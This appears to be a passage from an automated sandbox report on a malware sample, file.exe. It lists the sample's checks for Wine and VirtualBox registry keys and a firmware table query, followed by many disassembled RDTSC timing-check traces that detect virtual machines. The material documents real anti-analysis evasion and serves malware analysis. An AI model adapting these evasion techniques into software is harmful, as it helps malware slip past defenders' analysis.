Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9355 second address: BB8B8A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9C2CC4BDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c sub dword ptr [ebp+122D182Bh], esi 0x00000012 push dword ptr [ebp+122D1115h] 0x00000018 clc 0x00000019 call dword ptr [ebp+122D3999h] 0x0000001f pushad 0x00000020 jmp 00007F9C2CC4BDF6h 0x00000025 xor eax, eax 0x00000027 jnp 00007F9C2CC4BDFEh 0x0000002d jmp 00007F9C2CC4BDF8h 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 pushad 0x00000037 pushad 0x00000038 mov edx, dword ptr [ebp+122D2A74h] 0x0000003e mov edi, dword ptr [ebp+122D2984h] 0x00000044 popad 0x00000045 popad 0x00000046 sub dword ptr [ebp+122D1936h], edi 0x0000004c mov dword ptr [ebp+122D2A34h], eax 0x00000052 jmp 00007F9C2CC4BDF7h 0x00000057 mov esi, 0000003Ch 0x0000005c cld 0x0000005d mov dword ptr [ebp+122D1936h], ebx 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 mov dword ptr [ebp+122D1936h], esi 0x0000006d lodsw 0x0000006f jmp 00007F9C2CC4BDF9h 0x00000074 xor dword ptr [ebp+122D1936h], eax 0x0000007a add eax, dword ptr [esp+24h] 0x0000007e jne 00007F9C2CC4BDF4h 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 cld 0x00000089 nop 0x0000008a jmp 00007F9C2CC4BDF5h 0x0000008f push eax 0x00000090 push eax 0x00000091 push edx 0x00000092 push eax 0x00000093 push edx 0x00000094 pushad 0x00000095 popad 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8B8A second address: BB8BA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8BA1 second address: BB8BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F9C2CC4BDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CF9C second address: D2CFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CFA2 second address: D2CFB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9C2CC4BDEAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CFB5 second address: D2CFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2BF45 second address: D2BF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2BF49 second address: D2BF95 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 jc 00007F9C2CD78D66h 0x0000000b pop esi 0x0000000c jne 00007F9C2CD78D84h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F9C2CD78D76h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C147 second address: D2C151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C151 second address: D2C155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C2F3 second address: D2C30C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C2CC4BDF4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E9CB second address: D2E9EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jl 00007F9C2CD78D72h 0x0000000e js 00007F9C2CD78D6Ch 0x00000014 jno 00007F9C2CD78D66h 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E9EE second address: D2E9FD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9C2CC4BDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E9FD second address: D2EA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EA0B second address: D2EA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EA0F second address: D2EA15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EA15 second address: D2EA28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EA28 second address: BB8B8A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 jng 00007F9C2CD78D6Bh 0x0000000e push dword ptr [ebp+122D1115h] 0x00000014 mov dword ptr [ebp+122D19EFh], ecx 0x0000001a call dword ptr [ebp+122D3999h] 0x00000020 pushad 0x00000021 jmp 00007F9C2CD78D76h 0x00000026 xor eax, eax 0x00000028 jnp 00007F9C2CD78D7Eh 0x0000002e jmp 00007F9C2CD78D78h 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 pushad 0x00000038 pushad 0x00000039 mov edx, dword ptr [ebp+122D2A74h] 0x0000003f mov edi, dword ptr [ebp+122D2984h] 0x00000045 popad 0x00000046 popad 0x00000047 sub dword ptr [ebp+122D1936h], edi 0x0000004d mov dword ptr [ebp+122D2A34h], eax 0x00000053 jmp 00007F9C2CD78D77h 0x00000058 mov esi, 0000003Ch 0x0000005d cld 0x0000005e mov dword ptr [ebp+122D1936h], ebx 0x00000064 add esi, dword ptr [esp+24h] 0x00000068 mov dword ptr [ebp+122D1936h], esi 0x0000006e lodsw 0x00000070 jmp 00007F9C2CD78D79h 0x00000075 xor dword ptr [ebp+122D1936h], eax 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f jne 00007F9C2CD78D74h 0x00000085 mov ebx, dword ptr [esp+24h] 0x00000089 cld 0x0000008a nop 0x0000008b jmp 00007F9C2CD78D75h 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 push eax 0x00000094 push edx 0x00000095 pushad 0x00000096 popad 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EB0D second address: D2EB13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EB13 second address: D2EB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EB17 second address: D2EB35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 6CA8848Eh 0x0000000f mov esi, edi 0x00000011 lea ebx, dword ptr [ebp+12449939h] 0x00000017 mov esi, eax 0x00000019 xchg eax, ebx 0x0000001a pushad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EBA8 second address: D2EBCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9C2CD78D6Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EBCB second address: D2EC2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9C2CC4BDF8h 0x0000000e popad 0x0000000f nop 0x00000010 movzx ecx, si 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F9C2CC4BDE8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f pushad 0x00000030 sbb ah, FFFFFF9Ah 0x00000033 popad 0x00000034 call 00007F9C2CC4BDE9h 0x00000039 push ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2ED44 second address: D2ED49 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EE77 second address: D2EE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EE7D second address: D2EF1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jl 00007F9C2CD78D6Ah 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 pop eax 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F9C2CD78D68h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f add di, 3719h 0x00000034 push 00000003h 0x00000036 mov esi, dword ptr [ebp+122D2C84h] 0x0000003c push 00000000h 0x0000003e jl 00007F9C2CD78D6Ch 0x00000044 mov edx, dword ptr [ebp+122D2A58h] 0x0000004a push 00000003h 0x0000004c sub dword ptr [ebp+122D1968h], esi 0x00000052 mov ecx, 72B9BCC4h 0x00000057 push 95238CC8h 0x0000005c jg 00007F9C2CD78D7Eh 0x00000062 add dword ptr [esp], 2ADC7338h 0x00000069 mov ecx, dword ptr [ebp+122D2A3Ch] 0x0000006f lea ebx, dword ptr [ebp+1244994Dh] 0x00000075 movzx esi, di 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b push edi 0x0000007c push esi 0x0000007d pop esi 0x0000007e pop edi 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EF1B second address: D2EF25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F9C2CC4BDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DBD7 second address: D4DBE1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DBE1 second address: D4DC0B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jno 00007F9C2CC4BDE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F9C2CC4BDF1h 0x00000015 je 00007F9C2CC4BDE6h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DEE1 second address: D4DF32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D72h 0x00000007 jmp 00007F9C2CD78D75h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F9C2CD78D74h 0x00000014 push esi 0x00000015 jmp 00007F9C2CD78D6Bh 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DF32 second address: D4DF36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E51C second address: D4E522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E522 second address: D4E536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jo 00007F9C2CC4BDE6h 0x0000000d jbe 00007F9C2CC4BDE6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E536 second address: D4E53C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E684 second address: D4E688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EAA9 second address: D4EADA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C2CD78D6Bh 0x00000008 jmp 00007F9C2CD78D77h 0x0000000d popad 0x0000000e pushad 0x0000000f jg 00007F9C2CD78D66h 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EDA0 second address: D4EDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CC4BDF9h 0x00000009 jnp 00007F9C2CC4BDE6h 0x0000000f popad 0x00000010 pop esi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EDCA second address: D4EDFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D74h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9C2CD78D74h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EDFC second address: D4EE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EE00 second address: D4EE04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EE04 second address: D4EE26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9C2CC4BDF9h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F53C second address: D4F541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F68B second address: D4F6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9C2CC4BDE6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F9C2CC4BDE6h 0x00000015 jmp 00007F9C2CC4BDF0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F6B0 second address: D4F6B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F810 second address: D4F815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F815 second address: D4F81B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D519B8 second address: D519BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D554B0 second address: D554B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D557D4 second address: D557D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D557D8 second address: D557F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C2CD78D72h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D557F8 second address: D55802 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9C2CC4BDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55802 second address: D55807 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5CEED second address: D5CF0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F9C2CC4BDE6h 0x0000000b jmp 00007F9C2CC4BDF2h 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C86F second address: D5C881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C881 second address: D5C88B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9C2CC4BDECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C88B second address: D5C893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C893 second address: D5C897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C897 second address: D5C89D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EE48 second address: D5EE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDEFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F0A9 second address: D5F0BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CD78D71h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F0BE second address: D5F0EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F9C2CC4BDECh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F0EB second address: D5F0F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5FCAB second address: D5FCB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5FCB2 second address: D5FCB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5FE14 second address: D5FE29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D612FA second address: D61302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61302 second address: D6130F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007F9C2CC4BDE6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6130F second address: D61341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F9C2CD78D76h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jo 00007F9C2CD78D66h 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jp 00007F9C2CD78D66h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17D85 second address: D17DAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9C2CC4BDF4h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jp 00007F9C2CC4BDEEh 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6191A second address: D61981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D2A78h] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F9C2CD78D68h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007F9C2CD78D68h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 00000014h 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 add esi, dword ptr [ebp+122D34A2h] 0x0000004b mov esi, dword ptr [ebp+122D29D4h] 0x00000051 push eax 0x00000052 push ecx 0x00000053 jns 00007F9C2CD78D6Ch 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6337D second address: D63428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jnp 00007F9C2CC4BDE6h 0x0000000e jmp 00007F9C2CC4BDF9h 0x00000013 popad 0x00000014 pushad 0x00000015 jng 00007F9C2CC4BDE6h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e popad 0x0000001f nop 0x00000020 sub di, E023h 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007F9C2CC4BDE8h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 jg 00007F9C2CC4BDECh 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push eax 0x0000004c call 00007F9C2CC4BDE8h 0x00000051 pop eax 0x00000052 mov dword ptr [esp+04h], eax 0x00000056 add dword ptr [esp+04h], 00000016h 0x0000005e inc eax 0x0000005f push eax 0x00000060 ret 0x00000061 pop eax 0x00000062 ret 0x00000063 sub dword ptr [ebp+12471523h], edi 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F9C2CC4BDF7h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62AF7 second address: D62AFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D647ED second address: D647F2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
